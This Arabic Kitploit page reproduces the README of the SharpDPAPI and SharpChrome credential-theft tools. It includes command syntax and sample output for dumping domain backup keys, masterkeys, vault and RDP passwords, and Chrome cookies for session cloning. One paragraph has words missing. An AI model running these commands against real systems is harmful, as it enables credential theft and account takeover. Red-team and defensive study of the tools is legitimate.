Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
SharpDPAPI — SharpDPAPI هو منفذ بلغة C# لبعض وظائف DPAPI من Mimikatz. | Kitploit
أدوات/GitHubGitHub/ghostpack/sharpdpapi
كسر كلمات المرورأدوات التشفير/فك التشفيرالاستغلالتسريب البياناتما بعد الاستغلالاختبار الاختراقالفريق الأحمر
GitHubghostpack/sharpdpapi

SharpDPAPI

SharpDPAPI هو منفذ بلغة C# لبعض وظائف DPAPI من Mimikatz.

عرض المستودع
1.4k249منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

SharpDPAPI


SharpDPAPI هو منفذ C# لبعض وظائف DPAPI من مشروع @gentilkiwi Mimikatz.

لم أبتكر هذه المنطق، إنه مجرد نقل من Mimikatz لفهم العملية بشكل أفضل وتشغيلها لتناسب سير عملنا.

المشروع الفرعي SharpChrome هو تكييف لعمل @gentilkiwi و @djhohnstein، وتحديداً مشروع SharpChrome الخاص به. ومع ذلك، يستخدم هذا الإصدار من SharpChrome نسخة مختلفة من مكتبة C# SQL التي تدعم الفتح بدون قفل. تم بناء SharpChrome كمشروع منفصل في SharpDPAPI بسبب حجم مكتبة SQLite المستخدمة.

يمكن فحص كل من Chrome ومتصفحات Edge الجديدة المبنية على Chromium باستخدام SharpChrome.

يستخدم SharpChrome أيضًا نسخة مصغرة من كود BCrypt P/Invoke الخاص بـ @AArnott والمُصدر بموجب ترخيص MIT.

إذا كنت غير معتاد على DPAPI، اطلع على هذه التدوينة لمزيد من المعلومات الأساسية. لمزيد من المعلومات حول بيانات الاعتماد والخزائن فيما يتعلق بـ DPAPI، اطلع على إدخال الويكي حول هذا الموضوع.

@harmj0y هو المؤلف الرئيسي لهذا النقل.

SharpDPAPI مرخص بموجب ترخيص BSD 3-Clause.

جدول المحتويات

  • SharpDPAPI
    • جدول المحتويات
    • خلفية
      • استخدام سطر أوامر SharpDPAPI
      • استخدام سطر أوامر SharpChrome
      • الاستخدام العملي
        • SharpDPAPI
        • SharpChrome
    • أوامر SharpDPAPI
      • فحص المستخدم
        • masterkeys
        • credentials
        • vaults
        • rdg
        • keepass
        • certificates
        • triage
      • فحص الجهاز
        • machinemasterkeys
        • machinecredentials
        • machinevaults
        • certificates /machine
        • machinetriage
      • متنوع
        • ps
        • blob
        • backupkey
        • search
        • SCCM
    • أوامر SharpChrome
      • logins
      • cookies
      • statekeys
      • backupkey
    • تعليمات التجميع
      • استهداف إصدارات .NET أخرى
      • ملاحظة جانبية: تشغيل SharpDPAPI عبر PowerShell
        • ملاحظة جانبية للملاحظة الجانبية: تشغيل SharpDPAPI عبر PSRemoting

خلفية

استخدام سطر أوامر SharpDPAPI

root@kitploit:~
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.20.0

Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:

  SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs:

    search /type:registry [/path:HKLM\path\to\key] [/showErrors]
    search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
    search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
    search /type:base64 [/base:<base64 string>]


Machine/SYSTEM Triage:

    machinemasterkeys       -   triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret)
    machinecredentials      -   use 'machinemasterkeys' and then triage machine Credential files
    machinevaults           -   use 'machinemasterkeys' and then triage machine Vaults
    machinetriage           -   run the 'machinecredentials' and 'machinevaults' commands


User Triage:

    Arguments for the 'masterkeys' command:

        /target:FILE/folder     -   triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
        /pvk:BASE64...          -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
        /pvk:key.pvk            -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
        /password:X             -   decrypt the target user's masterkeys using a plaintext password (works remotely)
        /ntlm:X                 -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
        /credkey:X              -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
        /rpc                    -   decrypt the target user's masterkeys by asking domain controller to do so
        /server:SERVER          -   triage a remote server, assuming admin access
        /hashes                 -   output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)


    Arguments for the credentials|vaults|rdg|keepass|triage|blob|ps commands:

        Decryption:
            /unprotect          -   force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
            /pvk:BASE64...      -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
            /pvk:key.pvk        -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
            /password:X         -   decrypt the target user's masterkeys using a plaintext password (works remotely)
            /ntlm:X             -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
            /credkey:X          -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
            /rpc                -   decrypt the target user's masterkeys by asking domain controller to do so
            GUID1:SHA1 ...      -   use a one or more GUID:SHA1 masterkeys for decryption
            /mkfile:FILE        -   use a file of one or more GUID:SHA1 masterkeys for decryption

        Targeting:
            /target:FILE/folder -   triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
            /server:SERVER      -   triage a remote server, assuming admin access
                                    Note: must use with /pvk:KEY or /password:X
                                    Note: not applicable to 'blob' or 'ps' commands


Certificate Triage:

    Arguments for the 'certificates' command:
        /showall                                        -   show all decrypted private key files, not just ones that are linked to installed certs (the default)
        /machine                                        -   use the local machine store for certificate triage
        /mkfile | /target                               -   for /machine triage
        [all decryption args from User Triage above]


Note: in most cases, just use *triage* if you're targeting user DPAPI secrets and *machinetriage* if you're going after SYSTEM DPAPI secrets.
      These functions wrap all the other applicable functions that can be automatically run.

استخدام سطر أوامر SharpChrome

root@kitploit:~
  __                 _
 (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _
 __) | | (_| |  |_) \_ | | | (_) | | | (/_)
                |
  v1.9.0


Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:

  SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


Global arguments for the 'cookies', 'logins', and 'statekeys' commands:

    Decryption:
        /unprotect          -   force use of CryptUnprotectData() (default for unprivileged execution)
        /pvk:BASE64...      -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
        /pvk:key.pvk        -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
        /password:X         -   decrypt the target user's masterkeys using a plaintext password (works remotely)
        /ntlm:X             -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
        /prekey:X           -   decrypt the target user's masterkeys using a DPAPI prekey (domain or local SHA1, works remotely)
        /rpc                -   decrypt the target user's masterkeys by asking domain controller to do so
        GUID1:SHA1 ...      -   use a one or more GUID:SHA1 masterkeys for decryption
        /statekey:X         -   a decrypted AES state key (from the 'statekey' command)

    Targeting:
        /target:FILE        -   triage a specific 'Cookies', 'Login Data', or 'Local State' file location
        /target:C:\Users\X\ -   triage a specific user folder for any specified command
        /server:SERVER      -   triage a remote server, assuming admin access (note: must use with /pvk:KEY)
        /browser:X          -   triage 'chrome' (default), (chromium-based) 'edge', or 'slack'

    Output:
        /format:X           -   either 'csv' (default) or 'table' display
        /showall            -   show Login Data entries with null passwords and expired Cookies instead of filtering (default)
        /consoleoutfile:X   -   output all console output to a file on disk


'cookies' command specific arguments:

        /cookie:"REGEX"     -   only return cookies where the cookie name matches the supplied regex
        /url:"REGEX"        -   only return cookies where the cookie URL matches the supplied regex
        /format:json        -   output cookie values in an EditThisCookie JSON import format. Best when used with a regex!
        /setneverexpire     -   set expirations for cookies output to now + 100 years (for json output)

الاستخدام العملي

SharpDPAPI

أحد الأهداف مع SharpDPAPI هو تشغيل عمل Benjamin's DPAPI بطريقة تناسب سير عملنا.

كيفية استخدام مجموعة الأدوات بالضبط سيعتمد على مرحلة الاشتباك التي أنت فيها. بشكل عام، ينقسم هذا إلى "هل قمت باختراق المجال أم لا".

إذا تم الحصول على صلاحيات مسؤول المجال (أو ما يعادلها)، يمكن استرداد مفتاح النسخ الاحتياطي DPAPI للمجال باستخدام أمر backupkey (أو باستخدام Mimikatz). هذا المفتاح الخاص للمجال لا يتغير أبدًا، ويمكنه فك تشفير أي مفاتيح رئيسية DPAPI لمستخدمي المجال. هذا يعني، بالنظر إلى مفتاح النسخ الاحتياطي DPAPI للمجال، يمكن للمهاجم فك تشفير المفاتيح الرئيسية لأي مستخدم مجال يمكن استخدامها بعد ذلك لفك تشفير أي خزائن/بيانات اعتماد/تسجيلات دخول Chrome/أي كتل DPAPI أخرى. يمكن استخدام المفتاح المسترد من أمر backupkey مع أوامر masterkeys و credentials و vaults و rdg أو triage.

إذا لم يتم تحقيق صلاحيات مسؤول المجال، فإن استخدام أمر Mimikatz sekurlsa::dpapi سيقوم باسترداد تعيينات {GUID}:SHA1 للمفاتيح الرئيسية DPAPI (المستخدم والنظام) المحملة على نظام معين (نصيحة: تشغيل dpapi::cache بعد استخراج المفتاح سيعطيك جدولًا جميلاً). إذا قمت بتغيير هذه المفاتيح إلى تنسيق {GUID1}:SHA1 {GUID2}:SHA1...، يمكن توفيرها لأوامر credentials و vaults و rdg أو triage. هذا يتيح لك فحص جميع ملفات بيانات الاعتماد/الخزائن على النظام لأي مستخدم قام بتسجيل الدخول حاليًا، دون الحاجة إلى فك تشفير ملف بملف.

بدلاً من ذلك، إذا كان بإمكانك توفير كلمة مرور المستخدم المستهدف، أو تجزئة NTLM، أو مفتاح DPAPI prekey لأمر المستخدم باستخدام /password:X أو /ntlm:X أو /prekey:X على التوالي. يمكن استخدام حقل dpapi من إخراج Mimikatz sekurlsa::msv للمستخدمين المجالين كـ /prekey، بينما يمكن استخدام حقل sha1 من إخراج sekurlsa::msv كـ /prekey للمستخدمين المحليين.

لفك تشفير ملفات RDG/RDCMan.settings باستخدام أمر rdg، سيستخدم العلم /unprotect الدالة CryptUnprotectData() لفك تشفير أي كلمات مرور RDP محفوظة، إذا تم تشغيل الأمر من سياق المستخدم الذي حفظ كلمات المرور. يمكن القيام بذلك من سياق غير مميز، دون الحاجة للمس LSASS. لمعرفة لماذا لا يتم استخدام هذا الأسلوب لبيانات الاعتماد/الخزائن، راجع توثيق Benjamin هنا.

بالنسبة لفحص DPAPI الخاص بالجهاز، ستقوم أوامر machinemasterkeys|machinecredentials|machinevaults|machinetriage بعمل المعادل الآلي لفحص DPAPI للمستخدم. إذا كنت في سياق مرتفع (أي تحتاج إلى صلاحيات إدارية محلية)، سيقوم SharpDPAPI برفع الصلاحيات إلى SYSTEM لاسترداد سر LSA "DPAPI_SYSTEM"، والذي يستخدم بعد ذلك لفك تشفير أي مفاتيح رئيسية DPAPI للجهاز تم اكتشافها. يتم استخدام هذه المفاتيح كجداول بحث لبيانات اعتماد/خزائن الجهاز إلخ.

لمزيد من المعلومات الهجومية حول DPAPI، تحقق هنا.

SharpChrome

SharpChrome هو تطبيق خاص بـ Chrome من SharpDPAPI قادر على فك تشفير/فحص ملفات تعريف الارتباط وتسجيلات الدخول. تم بناؤه كمشروع منفصل في SharpDPAPI بسبب حجم مكتبة SQLite المستخدمة.

نظرًا لأن ملفات تعريف الارتباط/بيانات تسجيل الدخول في Chrome محفوظة بدون CRYPTPROTECT_SYSTEM، فإن CryptUnprotectData() عادت على الطاولة. إذا تم تشغيل SharpChrome من سياق غير مرفوع، فسيحاول فك تشفير أي تسجيلات دخول/ملفات تعريف ارتباط للمستخدم الحالي باستخدام CryptUnprotectData(). يمكن أيضًا استخدام /pvk:[BASE64|file.pvk] أو جدول بحث {GUID}:SHA1 أو /password:X أو /ntlm:X أو /prekey:X أو /mkfile:FILE من قيم {GUID}:SHA1 لفك تشفير القيم. أيضًا، مكتبة C# SQL المستخدمة (مع بعض التعديلات) تدعم الفتح بدون قفل، مما يعني أن Chrome لا يحتاج إلى إغلاقه/لا تحتاج ملفات الهدف إلى نسخها إلى موقع آخر.

بدلاً من ذلك، إذا كان بإمكانك توفير كلمة مرور المستخدم المستهدف، أو تجزئة NTLM، أو مفتاح DPAPI prekey لأمر المستخدم باستخدام /password:X أو /ntlm:X أو /prekey:X على التوالي. يمكن استخدام حقل dpapi من إخراج Mimikatz sekurlsa::msv للمستخدمين المجالين كـ /prekey، بينما يمكن استخدام حقل sha1 من إخراج sekurlsa::msv كـ /prekey للمستخدمين المحليين.

إذا كان Chrome الإصدار 80+، يتم تخزين مفتاح حالة AES في AppData\Local\Google\Chrome\User Data\Local State - هذا المفتاح محمي باستخدام DPAPI، لذا يمكننا استخدام CryptUnprotectData()/pvk/جداول بحث المفتاح الرئيسي لفك تشفيره. يتم استخدام مفتاح AES هذا بعد ذلك لحماية إدخالات ملفات تعريف الارتباط وبيانات تسجيل الدخول الجديدة. هذه هي العملية أيضًا عند تحديد /browser:edge أو /browser:brave، لفحص متصفح Edge الجديد المبني على Chromium.

افتراضيًا، يتم عرض ملفات تعريف الارتباط وتسجيلات الدخول كملف csv - يمكن تغيير ذلك باستخدام /format:table لعرض جدول، و /format:json لملفات تعريف الارتباط على وجه التحديد. خيار json يخرج ملفات تعريف الارتباط بتنسيق json يمكن استيراده إلى إضافة Chrome EditThisCookie لإعادة الاستخدام بسهولة.

يحتوي أمر cookies أيضًا على وسيطات /cookie:REGEX و /url:REGEX لإرجاع أسماء ملفات تعريف الارتباط أو عناوين URL التي تطابق التعبير العادي المقدم فقط. هذا مفيد مع /format:json لاستنساخ الوصول إلى مواقع محددة بسهولة.

يمكن تحديد ملفات تعريف الارتباط/تسجيلات الدخول/مفاتيح الحالة المحددة باستخدام /target:X، ويمكن تحديد مجلد المستخدم باستخدام /target:C:\Users\USER\ لأي أمر فحص.

أوامر SharpDPAPI

فحص المستخدم

masterkeys

سيقوم أمر masterkeys بالبحث عن أي ملفات مفاتيح رئيسية قابلة للقراءة للمستخدم وفك تشفيرها باستخدام مفتاح النسخ الاحتياطي DPAPI المقدم للمجال. سيعيد مجموعة من تعيينات {GUID}:SHA1 للمفتاح الرئيسي.

يمكن استخدام /password:X لفك تشفير المفاتيح الرئيسية الحالية للمستخدم. لاحظ أنه بالنسبة للأجهزة المنضمة إلى المجال، يمكن توفير كلمة المرور إما بنص عادي أو تنسيق NTLM. إذا تم توفير /target أيضًا مع /password، فيجب تحديد /sid:X لـ SID الكامل للمجال للمستخدم.

يمكن أن يكون مفتاح النسخ الاحتياطي للمجال في شكل base64 (/pvk:BASE64...) أو شكل ملف (/pvk:key.pvk).

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Triage User Masterkey Files

[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...

إذا لم يتم تحديد /password أو /pvk، يمكنك تمرير العلم /hashes لإلقاء تجزئات المفتاح الرئيسي بتنسيق John/Hashcat. في هذا الوضع، تتم طباعة التجزئات بتنسيق {GUID}:DPAPImk.

يتم أيضًا تحليل المفتاح Preferred لتسليط الضوء على المفتاح الرئيسي المفضل الحالي، بحيث لا يتم بذل جهد في كسر المفاتيح الأقدم.

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /hashes

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] Action: User DPAPI Masterkey File Triage

[*] Will dump user masterkey hashes

[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] Preferred master keys:

C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a


[*] User master key hashes:

{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(snip)...

credentialsأمر سيبحث عن ملفات بيانات الاعتماد وسيفك تشفيرها إما أ) باستخدام أي مفتاح رئيسي يتم تمريره، أو ب) باستخدام ملف يحتوي على تعيين واحد أو أكثر من ، أو ج) باستخدام مفتاح احتياطي لمجال DPAPI ( أو ) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً (على غرار )، أو د) باستخدام لفك تشفير أي مفاتيح رئيسية للمستخدم، والتي تُستخدم بعد ذلك كجدول فك تشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر من Mimikatz.

يمكن تحديد ملف بيانات اعتماد معين (أو مجلد بيانات اعتماد) باستخدام /target:FILE أو /target:C:\Folder\. إذا تم تحديد ملف، تكون قيم {GUID}:SHA1 مطلوبة، وإذا تم تحديد مجلد، فيجب إما أ) توفير قيم {GUID}:SHA1 أو ب) أن يحتوي المجلد على مفاتيح رئيسية DPAPI ويجب توفير مفتاح احتياطي للمجال /pvk.

إذا تم تشغيل الأمر من سياق مرتفع الصلاحيات، فسيتم فرز ملفات بيانات الاعتماد لجميع المستخدمين، وإلا فسيتم معالجة ملفات بيانات الاعتماد للمستخدم الحالي فقط.

استخدام تعيينات المفاتيح الرئيسية {GUID}:SHA1 للمجال:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

  ...(snip)...

استخدام مفتاح احتياطي لمجال DPAPI لفك تشفير أي مفاتيح رئيسية قابلة للاكتشاف أولاً:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

...(snip)...

vaults

أمر vaults سيبحث عن الخزائن وسيفك تشفيرها إما أ) باستخدام أي مفتاح رئيسي {GUID}:SHA1 يتم تمريره، أو ب) باستخدام ملف /mkfile:FILE يحتوي على تعيين واحد أو أكثر من {GUID}:SHA1، أو ج) باستخدام مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً (على غرار masterkeys)، أو د) باستخدام /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، والتي تُستخدم بعد ذلك كجدول فك تشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر sekurlsa::dpapi من Mimikatz.

يتم فك تشفير مجلد Policy.vpol في مجلد الخزنة باستخدام أي مفاتيح DPAPI يتم توفيرها لاسترداد مفاتيح فك تشفير AES المرتبطة، والتي تُستخدم بعد ذلك لفك تشفير أي ملفات .vcrd مرتبطة.

يمكن تحديد مجلد خزنة محدد باستخدام /target:C:\Folder\. في هذه الحالة، يجب إما أ) توفير قيم {GUID}:SHA1 أو ب) أن يحتوي المجلد على مفاتيح رئيسية DPAPI ويجب توفير مفتاح احتياطي للمجال /pvk.

استخدام تعيينات المفاتيح الرئيسية {GUID}:SHA1 للمجال:

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

استخدام مفتاح احتياطي لمجال DPAPI لفك تشفير أي مفاتيح رئيسية قابلة للاكتشاف أولاً:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

استخدام مفتاح احتياطي لمجال DPAPI مع مجلد محدد (أي فرز "غير متصل"):

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Target Vault Folder: C:\Temp\test\


[*] Triaging Vault folder: C:\Temp\test\

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 3/20/2019 6:03:50 AM
    FriendlyName     : Internet Explorer
    Identity         : account
    Resource         : http://www.abc.com/
    Authenticator    : password

rdg

أمر rdg سيبحث عن ملفات RDCMan.settings للمستخدم الحالي (أو لجميع المستخدمين إذا كان مرتفع الصلاحيات) وسيفك تشفيرها إما أ) باستخدام أي مفتاح رئيسي {GUID}:SHA1 يتم تمريره، أو ب) باستخدام ملف /mkfile:FILE يحتوي على تعيين واحد أو أكثر من {GUID}:SHA1، أو ج) باستخدام مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً (على غرار masterkeys)، أو د) باستخدام /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، والتي تُستخدم بعد ذلك كجدول فك تشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر sekurlsa::dpapi من Mimikatz.

سيستخدم العلم /unprotect دالة CryptUnprotectData() لفك تشفير أي كلمات مرور محفوظة لـ RDP، إذا تم تشغيل الأمر من سياق المستخدم الذي حفظ كلمات المرور. يمكن القيام بذلك من سياق غير مرتفع الصلاحيات، دون الحاجة إلى لمس LSASS. لمعرفة سبب عدم استخدام هذا الأسلوب لبيانات الاعتماد/الخزائن، راجع توثيق بنجامين هنا.

يمكن تحديد ملف RDCMan.settings محدد، أو ملف .RDC (أو مجلد ملفات .RDG) باستخدام /target:FILE أو /target:C:\Folder\. إذا تم تحديد ملف، تكون قيم {GUID}:SHA1 (أو /unprotect) مطلوبة، وإذا تم تحديد مجلد، فيجب إما أ) توفير قيم {GUID}:SHA1 أو ب) أن يحتوي المجلد على مفاتيح رئيسية DPAPI ويجب توفير مفتاح احتياطي للمجال /pvk.

سيقوم هذا الأمر بفك تشفير أي معلومات كلمة مرور محفوظة من ملف RDCMan.settings ومن أي ملفات .RDG المشار إليها بواسطة ملف RDCMan.settings.

استخدام /unprotect لفك تشفير أي كلمات مرور تم العثور عليها:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

استخدام تعيينات المفاتيح الرئيسية {GUID}:SHA1 للمجال:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017

